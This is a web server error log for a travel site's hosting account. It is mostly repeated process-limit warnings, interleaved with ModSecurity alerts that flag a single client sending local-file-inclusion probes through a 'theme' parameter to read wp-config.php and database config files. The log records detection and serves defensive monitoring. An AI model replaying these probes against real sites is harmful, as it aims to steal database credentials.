[Fri Jul 17 08:55:47.787980 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.788328 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu0kXT4NBqALj2lZ9CgAAABA"]
[Fri Jul 17 08:55:47.788345 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu0kXT4NBqALj2lZ9CgAAABA"]
[Fri Jul 17 08:55:47.791378 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.793111 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.794007 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.796877 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.802407 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.803147 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.803286 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.807451 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.835425 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.849073 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.853204 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:theme: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu11_86A5R6msWNfUjgAAABI"]
[Fri Jul 17 08:55:47.853809 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu11_86A5R6msWNfUjgAAABI"]
[Fri Jul 17 08:55:47.853918 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.854196 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu11_86A5R6msWNfUjgAAABI"]
[Fri Jul 17 08:55:47.856946 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:theme: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlDQAAAAI"]
[Fri Jul 17 08:55:47.857432 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:theme: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxHlOGcokz2QIwTTQAAAAAM"]
[Fri Jul 17 08:55:47.857540 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlDQAAAAI"]
[Fri Jul 17 08:55:47.857665 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.857961 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu41dLClkUfK_dfHlDQAAAAI"]
[Fri Jul 17 08:55:47.858060 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxHlOGcokz2QIwTTQAAAAAM"]
[Fri Jul 17 08:55:47.858160 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.858437 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguxHlOGcokz2QIwTTQAAAAAM"]
[Fri Jul 17 08:55:47.863936 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:theme: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu6quHSHoCJK_V0SBfQAAABs"]
[Fri Jul 17 08:55:47.864551 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu6quHSHoCJK_V0SBfQAAABs"]
[Fri Jul 17 08:55:47.864678 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.864955 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu6quHSHoCJK_V0SBfQAAABs"]
[Fri Jul 17 08:55:47.867222 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:theme: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETbCAAAAAo"]
[Fri Jul 17 08:55:47.867856 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETbCAAAAAo"]
[Fri Jul 17 08:55:47.867992 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.868330 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguzsMb3am0TgkjETbCAAAAAo"]
[Fri Jul 17 08:55:47.873720 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.878390 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:theme: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu3RlmrtCoY_COpcmLAAAAAg"]
[Fri Jul 17 08:55:47.879031 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu3RlmrtCoY_COpcmLAAAAAg"]
[Fri Jul 17 08:55:47.879168 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.879428 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu3RlmrtCoY_COpcmLAAAAAg"]
[Fri Jul 17 08:55:47.883947 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.903128 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.917582 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.925473 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.927731 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.931306 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.938017 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.947157 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.947420 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.950955 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.953284 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.963601 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.985775 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
